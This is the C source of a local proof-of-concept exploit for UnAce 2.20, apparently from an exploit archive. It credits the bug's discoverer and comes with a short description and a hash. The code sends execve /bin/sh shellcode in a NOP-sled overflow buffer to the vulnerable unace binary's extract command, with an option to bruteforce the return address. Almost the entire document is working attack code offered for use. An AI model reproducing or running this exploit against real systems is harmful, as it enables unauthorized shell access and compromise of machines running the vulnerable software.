UnAce version 2.20 local proof of concept exploit. Original vulnerability discovery made by MegaHz. Bruteforcing option included.
d191042bbe5c634e4f3a8ef7041d81538d5210cf278f7e65753a216a082b7361
/*Local exploit for unace v2.2 by Li0n7
*Bug reported by Andreas Constantinides <megahz@megahz.org>
*contact me: Li0n7@voila.fr
*visit us: ioc.fr.st
*tested on slackware 9.0
*usage: ./unace-exp[-r <RET>][-b [-s <STARTING_RET>][-d <DIFF>]]
*-r <RET>: try to exploit unace with specified <RET> as return address
*-b: enables bruteforcing
*-s: specify the first address to bruteforce
*-d: the value to take away from the starting address at each bruteforcing iteration
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <errno.h>
#define BSIZE 600
#define SIZE BSIZE*2
#define D_DIFF 1
#define D_START 0xbfffffff
#define PATH "/tmp/test/exploits/src/unace"
#define RET 0xbffff73a
char shellcode[]=
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3"
"\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
char *buffer,*ptr;
void exec_culn();
int tease();
int make_string(long ret_addr);
int bruteforce(long start,int diff);
void banner(char *argv0);
int
main(int argc,char *argv[])
{
char * option_list = "bd:r:s:";
int option,brute = 0,opterr = 0,diff = D_DIFF;
long ret,start = D_START;
banner(argv[0]);
if (argc < 1) exit(-1);
while((option = getopt(argc,argv,option_list)) != -1)
switch(option)
{
case 'b':
brute = 1;
break;
case 'd':
diff = atoi(optarg);
break;
case 'r':
ret = strtoul(optarg,NULL,0);
make_string(ret);
tease();
exit(0);
break;
case 's':
start = strtoul(optarg,NULL,0);
break;
case '?':
fprintf(stderr,"[-] option \'%c\' invalid\n",optopt);
banner(argv[0]);
exit(-1);
}
if(brute == 1)
bruteforce(start,diff);
return 0;
}
void
exec_vuln()
{
execl(PATH,PATH,"e",buffer,NULL);
}
int
tease()
{
pid_t pid;
pid_t wpid;
int status;
pid = fork();
if ( pid == -1 ) {
fprintf(stderr, " [-] %s: Failed to fork()\n", strerror(errno));
exit(13);
} else if ( pid == 0 ) {
exec_vuln();
} else {
wpid = wait(&status);
if ( wpid == -1 ) {
fprintf(stderr,"[-] %s: wait()\n", strerror(errno));
return 1;
} else if ( wpid != pid )
abort();
else {
if ( WIFEXITED(status) ) {
printf("[+] Exited: shell's ret code = %d\n", WEXITSTATUS(status));
return WEXITSTATUS(status);
} else if ( WIFSIGNALED(status) ) {
return WTERMSIG(status);
} else {
fprintf(stderr, "[-] Stopped.\n");
}
}
}
return 1;
}
int
make_string(long ret_addr)
{
int i;
long ret,addr,*addr_ptr;
buffer = (char *)malloc(SIZE);
if(!buffer)
{
fprintf(stderr,"[-] Can't allocate memory, exiting...\n");
exit(-1);
}
ptr = buffer;
memset(ptr,0x90,BSIZE-strlen(shellcode));
ptr += BSIZE-strlen(shellcode);
for(i=0;i<strlen(shellcode);i++)
*ptr++ = shellcode[i];
addr_ptr = (long *)ptr;
for(i=0;i<100;i++)
*(addr_ptr++) = ret_addr;
ptr = (char *)addr_ptr;
*ptr = 0;
return 0;
}
int
bruteforce(long start,int diff)
{
int ret;
long i;
fprintf(stdout,"[+] Starting bruteforcing...\n");
for(i=start;i<0;i=i-diff)
{
fprintf(stdout,"[+] Testing 0x%x...\n",i);
make_string(i);
ret=tease();
if(ret==0)
{
fprintf(stdout,"[+] Ret address found: 0x%x\n",i);
break;
}
}
return 0;
}
void
banner(char *argv0)
{
fprintf(stderr,"\n local exploit for unace v <= 2.2 by Li0n7\n");
fprintf(stderr," vulnerability reported by Andreas Constantinides <megahz@megahz.org>\n");
fprintf(stderr," visit us: http://www.ioc.fr.st\n");
fprintf(stderr," contact me: Li0n7[at]voila[dot]fr\n");
fprintf(stderr," usage: %s [-r <RET>][-b [-s <STARTING_RET>][-d <DIFF>]]\n\n",argv0);
}